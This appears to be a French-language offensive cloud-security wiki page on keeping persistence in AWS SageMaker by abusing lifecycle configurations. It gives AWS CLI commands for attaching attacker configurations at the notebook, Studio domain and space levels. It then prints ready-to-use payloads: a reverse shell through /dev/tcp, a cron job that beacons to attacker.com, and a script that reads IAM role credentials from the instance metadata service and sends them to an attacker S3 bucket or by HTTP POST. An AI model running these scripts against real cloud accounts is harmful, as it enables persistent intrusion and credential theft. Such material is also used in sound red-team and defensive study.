6.7 KiB
AWS - SageMaker Lifecycle Configuration Persistence
Vue d'ensemble des techniques de persistance
Cette section décrit les méthodes pour obtenir une persistance dans SageMaker en abusant des configurations de cycle de vie (LCC), y compris les shells inversés, les tâches cron, le vol de credentials via IMDS et les portes dérobées SSH. Ces scripts s'exécutent avec le rôle IAM de l'instance et peuvent persister à travers les redémarrages. La plupart des techniques nécessitent un accès réseau sortant, mais l'utilisation de services sur le plan de contrôle AWS peut toujours permettre le succès si l'environnement est en mode "VPC uniquement".
Remarque : Les instances de notebook SageMaker sont essentiellement des instances EC2 gérées configurées spécifiquement pour les charges de travail d'apprentissage automatique.
Permissions requises
- Instances de notebook :
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
- Applications de Studio :
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
Configurer la configuration du cycle de vie sur les instances de notebook
Exemples de commandes AWS CLI :
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
Configurer la configuration du cycle de vie sur SageMaker Studio
Les configurations de cycle de vie peuvent être attachées à différents niveaux et à différents types d'applications au sein de SageMaker Studio.
Niveau de domaine Studio (Tous les utilisateurs)
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Niveau de l'Espace Studio (Espaces Individuels ou Partagés)
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Types of Studio Application Lifecycle Configurations
Les configurations de cycle de vie peuvent être spécifiquement appliquées à différents types d'applications SageMaker Studio :
- JupyterServer : Exécute des scripts lors du démarrage du serveur Jupyter, idéal pour des mécanismes de persistance comme des shells inversés et des tâches cron.
- KernelGateway : S'exécute lors du lancement de l'application kernel gateway, utile pour la configuration initiale ou l'accès persistant.
- CodeEditor : S'applique à l'éditeur de code (Code-OSS), permettant des scripts qui s'exécutent au début des sessions d'édition de code.
Example Command for Each Type:
JupyterServer
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
KernelGateway
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
CodeEditor
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
Informations critiques :
- Attacher des LCCs au niveau du domaine ou de l'espace impacte tous les utilisateurs ou applications dans le périmètre.
- Nécessite des permissions plus élevées (sagemaker:UpdateDomain, sagemaker:UpdateSpace) généralement plus réalisables au niveau de l'espace qu'au niveau du domaine.
- Les contrôles au niveau du réseau (par exemple, filtrage sortant strict) peuvent empêcher des shells inversés réussis ou l'exfiltration de données.
Shell inversé via Configuration de Cycle de Vie
Les Configurations de Cycle de Vie SageMaker (LCCs) exécutent des scripts personnalisés lorsque les instances de notebook démarrent. Un attaquant avec des permissions peut établir un shell inversé persistant.
Exemple de Payload :
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
Persistance par Cron Job via Configuration de Cycle de Vie
Un attaquant peut injecter des cron jobs à travers des scripts LCC, garantissant l'exécution périodique de scripts ou de commandes malveillants, permettant une persistance discrète.
Exemple de Charge Utile :
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
Exfiltration de crédentiels via IMDS (v1 & v2)
Les configurations de cycle de vie peuvent interroger le Service de Métadonnées d'Instance (IMDS) pour récupérer des crédentiels IAM et les exfiltrer vers un emplacement contrôlé par un attaquant.
Exemple de Payload :
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload